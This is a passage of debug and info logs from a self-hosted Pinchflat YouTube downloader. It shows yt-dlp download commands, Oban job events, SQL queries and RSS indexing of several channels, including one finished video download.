/tmp/pinchflat/data/ed/ad/edad009bafbff0d1882c9e2b8eace42a80412d4d1ea4798dd26279994c1e016b.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 11:20:51.775 [debug] Running yt-dlp command for action: download 11:20:51.775 [debug] QUERY OK source="settings" db=0.1ms idle=1202.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:51.775 [debug] QUERY OK source="settings" db=0.0ms idle=1202.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:51.775 [debug] QUERY OK source="settings" db=0.0ms idle=1202.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:51.775 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Cord Cutters News/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Cord Cutters News/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/66/a4/66a45def8a213900fc628bf039adf9af0336d73238ad5615e8115ed2afa4a8d4.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:20:56.514 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.415 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:21:04.330 [info] {"args":{"id":3},"id":613,"meta":{},"system_time":1784892064330284644,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:21:04.330 [debug] QUERY OK source="sources" db=0.1ms idle=757.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 11:21:04.330 [debug] QUERY OK source="settings" db=0.1ms idle=757.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:21:04.331 [debug] QUERY OK source="media_profiles" db=0.0ms idle=757.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:21:04.331 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:21:04.331 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 11:21:04.574 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:21:04.575 [debug] QUERY OK source="media_items" db=0.2ms idle=244.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:21:04.577 [debug] QUERY OK source="media_items" db=1.7ms idle=244.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 11:21:04.578 [debug] QUERY OK source="tasks" db=0.0ms idle=246.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [617, 3, ~U[2026-07-24 11:21:04Z], ~U[2026-07-24 11:21:04Z]] 11:21:04.724 [info] {"args":{"id":3},"id":613,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":247743,"event":"job:stop","queue_time":629356,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:21:21.927 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Cord Cutters News/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Cord Cutters News/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/66/a4/66a45def8a213900fc628bf039adf9af0336d73238ad5615e8115ed2afa4a8d4.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 11:21:21.939 [debug] Running yt-dlp command for action: download_thumbnail 11:21:21.939 [debug] QUERY OK source="settings" db=0.1ms idle=1366.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:21:21.939 [debug] QUERY OK source="settings" db=0.0ms idle=1366.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:21:21.939 [debug] QUERY OK source="settings" db=0.0ms idle=1366.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:21:21.939 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12826/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9d/fe/9dfee70b2d7590fa66708b6c67f65052c201c223a75e6d836816cb8536cb655d.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:21:24.910 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12826/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9d/fe/9dfee70b2d7590fa66708b6c67f65052c201c223a75e6d836816cb8536cb655d.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 11:21:24.911 [debug] QUERY OK db=0.0ms idle=1338.3ms begin [] 11:21:24.911 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 11:21:21Z], "/downloads/Cord Cutters News/2026-07-24 Everything You Need to Know About Paramount Buying Warner Bros. Discovery/Everything You Need to Know About Paramount Buying Warner Bros. Discovery [r0ZP1ULJLyg].mp4", "/downloads/Cord Cutters News/2026-07-24 Everything You Need to Know About Paramount Buying Warner Bros. Discovery/Everything You Need to Know About Paramount Buying Warner Bros. Discovery [r0ZP1ULJLyg]-thumb.jpg", ~U[2026-07-24 11:21:24Z], 12826] 11:21:24.913 [debug] QUERY OK source="media_metadata" db=1.7ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/12826/metadata.json.gz", "/config/metadata/media_items/12826/thumbnail.jpg", 12826, ~U[2026-07-24 11:21:24Z], ~U[2026-07-24 11:21:24Z]] 11:21:24.996 [debug] QUERY OK db=83.0ms commit [] 11:21:24.997 [debug] QUERY OK source="media_items" db=0.7ms idle=1424.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [314477100, ~U[2026-07-24 11:21:24Z], 12826] 11:21:24.997 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:21:24.998 [info] {"args":{"id":12826},"id":615,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":35783878,"event":"job:stop","queue_time":213738,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:21:26.515 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:56.518 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.417 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:22:26.519 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:56.521 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.417 [info] {"source":"oban","duration":110,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:23:26.522 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:56.524 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.419 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:24:26.525 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:56.526 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.420 [info] {"source":"oban","duration":346,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:25:26.527 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:56.528 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.421 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:26:26.529 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:56.530 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.422 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:27:26.531 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:56.532 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.423 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:28:26.533 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:56.534 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.424 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:29:26.535 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:56.536 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.425 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:30:26.537 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:34.949 [info] {"args":{"id":2},"id":614,"meta":{},"system_time":1784892634949301789,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:30:34.949 [debug] QUERY OK source="sources" db=0.0ms idle=1376.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:30:34.949 [debug] QUERY OK source="settings" db=0.1ms idle=1376.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:30:34.950 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:30:34.950 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:30:34.950 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 11:30:35.210 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:30:35.210 [debug] QUERY OK source="media_items" db=0.2ms idle=261.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:30:35.211 [debug] QUERY OK source="media_items" db=0.3ms idle=261.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:30:35.211 [debug] QUERY OK source="tasks" db=0.0ms idle=261.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [618, 2, ~U[2026-07-24 11:30:35Z], ~U[2026-07-24 11:30:35Z]] 11:30:35.211 [info] {"args":{"id":2},"id":614,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":262481,"event":"job:stop","queue_time":387591,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:30:49.964 [info] {"args":{"id":1},"id":616,"meta":{},"system_time":1784892649964257935,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:30:49.964 [debug] QUERY OK source="sources" db=0.0ms idle=1391.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:30:49.964 [debug] QUERY OK source="settings" db=0.0ms idle=1391.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:30:49.964 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:30:49.965 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:30:49.965 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 11:30:50.155 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:30:50.156 [debug] QUERY OK source="media_items" db=0.2ms idle=191.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:30:50.158 [debug] QUERY OK source="media_items" db=1.9ms idle=192.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:30:50.159 [debug] QUERY OK source="tasks" db=0.0ms idle=194.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES 